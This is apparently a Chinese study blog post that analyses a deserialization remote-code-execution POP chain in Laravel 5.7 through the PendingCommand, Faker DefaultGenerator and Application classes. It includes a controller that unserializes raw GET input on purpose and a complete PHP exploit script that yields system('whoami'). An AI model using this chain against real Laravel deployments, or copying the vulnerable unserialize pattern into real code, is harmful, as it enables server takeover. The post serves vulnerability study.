Laravel5.7反序列化RCE漏洞分析

前言

以前只是粗略的知道反序列化漏洞的原理，最近在学习Laravel框架的时候正好想起以前收藏的一篇反序列化RCE漏洞，借此机会跟着学习一下POP链的挖掘

简介

Laravel是一个使用广泛并且优秀的PHP框架。这次挖掘的漏洞Laravel5.7版本，该漏洞需要对框架进行二次开发才能触发该漏洞

本地环境

• Laravel5.7.28
• Wamper64+PHP7.3.5（PHP >= 7.1.3）

环境准备

1. 使用composer部署Laravel项目
   • 创建一个名为laravel的Laravel项目
     composer create-project laravel/laravel=5.7.* --prefer-dist ./
   • Laravel框架为单入口，入口文件为{安装目录}/public/index.php，使用apache部署后访问入口文件显示Laravel欢迎界面即安装成功（或者使用命令php artisan serve开启临时的开发环境的服务器进行访问）
2. 配置路由以及控制器
   • Laravel所有的用户请求都由路由来进行控制。我们添加一条如下的路由

use \Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
|
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| contains the "web" middleware group. Now create something great!
|
*/
Route::get('/', function () {
    return view('welcome');
});
// 添加的路由
Route::get('/test', 'Test\TestController@Test');

• 控制器中Test函数实现反序列化功能：

namespace App\Http\Controllers\Test;

use Illuminate\Http\Request;
use App\Http\Controllers\Controller;

class TestController extends Controller
{
    public function Test()
    {
        $code = $_GET['c'];
        unserialize($code);
    }
}

---

漏洞分析

Laravel5.7版本在vendor/laravel/framework/src/Illuminate/Foundation/Testing文件夹下增加了一个PendingCommand类，官方的解释该类主要功能是用作命令执行，并且获取输出内容。
该类中几个重要属性：

public $test;           //一个实例化的类 Illuminate\Auth\GenericUser
protected $app;         //一个实例化的类 Illuminate\Foundation\Application
protected $command;     //要执行的php函数 system
protected $parameters;  //要执行的php函数的参数  array('id')

• 用于命令执行的函数为PendingCommand.php中的run()函数

/**
     * Execute the command.
     *
     * @return int
     */
    public function run()
    {
        $this->hasExecuted = true;

        $this->mockConsoleOutput();

        try {
            $exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
        } catch (NoMatchingExpectationException $e) {
            if ($e->getMethodName() === 'askQuestion') {
                $this->test->fail('Unexpected question "' . $e->getActualArguments()[0]->getQuestion() . '" was asked.');
            }

            throw $e;
        }

        if ($this->expectedExitCode !== null) {
            $this->test->assertEquals(
                $this->expectedExitCode,
                $exitCode,
                "Expected status code {$this->expectedExitCode} but received {$exitCode}."
            );
        }
        return $exitCode;
    }

• run()函数被析构函数__destruct()调用

/**
     * Handle the object's destruction.
     *
     * @return void
     */
    public function __destruct()
    {
        if ($this->hasExecuted) {
            return;
        }

        $this->run();
    }

简单的POP链为：构造的exp经过反序列化后调用__destruct()，进而调用run(),run()进行代码执行。下面进行详细的分析

• 首先将构造好的序列化数据通过参数C传入，调用__destruct()，__destruct()方法中首先判断$hasExecuted，如果为true则return，可以看到该变量默认值为false，所以可以顺利进入run()方法`

/**
     * Determine if command has executed.
     *
     * @var bool
     */
    protected $hasExecuted = false;

• 观察run()方法内的代码，我们要让代码顺利执行到run()处才能顺利执行代码。首先进入mockConsoleOutput()方法
  

• 171行使用Mockery::mock实现对象模拟，经过调试可以顺利运行，接下来进入mockConsoleOutput()函数

• 接下来又是Mockery::mock实现对象模拟，经过调试代码可以顺利运行到foreach，foreach循环里的代码是$this->test->expectedOutput，这里对$this->test类的expectedOutput属性
  进行遍历作为数组，代码才能正常执行下去。但是该类并不存在expectedOutput属性；经过分析代码，我们发现这里只要能够返回一个数组代码就可以顺利进行下去。

• 因此我们全文搜索__get()方法，让__get()方法返回我们想要的数组就可以了。这里我选择的是DefaultGenerator.php类
  
• 我们对DefaultGenerator类进行实例化并传入数组array('hello'=>'world')，打断点进行调试可以看到代码顺利执行下去了

• 后面的代码都是可以顺利执行下去的，接下来我们又回到了mockConsoleOutput()方法内，接下来又是一个forearch循环，如上一步的遍历数组一样，顺利执行下去

• 接下来代码会执行到$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);，其中Kernel::class为固定值："Illuminate\Contracts\Console\Kernel"，在该处下断点进行调试分析下面的调用栈

→ offsetGet(),$key=“Illuminate\Contracts\Console\Kernel”

→ make(),$abstract=“Illuminate\Contracts\Console\Kernel”

→ make():父类的make(),$abstract="Illuminate\Contracts\Console\Kernel",$parameters=array(0)

• 其中return $this->instances[$abstract];=$this->instances["Illuminate\Contracts\Console\Kernel"]也就是返回了Illuminate\Foundation\Application对象；即我们可以将任意对象赋值给 $this->instances[$abstract] ，这个对象最终会赋值给[Kernel::class] ，接着调用call()方法

→ resolve(),$abstract=“Illuminate\Contracts\Console\Kernel”，instances数组中为Application对象

• 下面我们成功的执行到了call()方法，

→call()

• 其中isCallableWithAtSign()方法是判断确定给定的字符串是否使用Class@method语法，不满足自然跳出，执行到

return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        });

→BoundMethod::call()

• 我们来分析一下callBoundMethod()函数，可以发现它的作用只是判断$callback是否为数组

protected static function callBoundMethod($container, $callback, $default)
    {
        if (! is_array($callback)) {
            return $default instanceof Closure ? $default() : $default;
        }

• 继续跟进下面的匿名函数：

function () use ($container, $callback, $parameters) {
            return call_user_func_array(
                $callback, static::getMethodDependencies($container, $callback, $parameters)
            );
        }

其中$callback参数是我们可控的，第二个参数由函数getMethodDependencies()控制，我们跟进看一下

• 经过调试，得出结论：它将我们传入的$parameters数组和$dependencies数组合并，其中$dependencies数组为空，而$parameters数组是我们可控的。最终也就是执行了call_user_func_array('xxx',array('xxx'))

本地环境复现

exp文件

namespace Illuminate\Foundation\Testing {
    class PendingCommand
    {
        public $test;
        protected $app;
        protected $command;
        protected $parameters;

        public function __construct($test, $app, $command, $parameters)
        {
            $this->test = $test;                 //一个实例化的类 Illuminate\Auth\GenericUser
            $this->app = $app;                   //一个实例化的类 Illuminate\Foundation\Application
            $this->command = $command;           //要执行的php函数 system
            $this->parameters = $parameters;     //要执行的php函数的参数  array('id')
        }
    }
}

namespace Faker {
    class DefaultGenerator
    {
        protected $default;

        public function __construct($default = null)
        {
            $this->default = $default;
        }
    }
}

namespace Illuminate\Foundation {
    class Application
    {
        protected $instances = [];

        public function __construct($instances = [])
        {
            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;
        }
    }
}

namespace {
    $defaultgenerator = new Faker\DefaultGenerator(array("hello" => "world"));

    $app = new Illuminate\Foundation\Application();

    $application = new Illuminate\Foundation\Application($app);

    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('whoami'));

    echo urlencode(serialize($pendingcommand));
}

• 最后贴上利用截图
  

总结

• 这个反序列化RCE重要的点：
  • 在进入run()函数，运行到call()前，需要bypassmockConsoleOutput()和mockConsoleOutput()，由于某个属性的不存在，我们需要魔法函数__get()返回数组来顺利运行下文的代码

参考文章：Laravel5.7反序列化漏洞之RCE链挖掘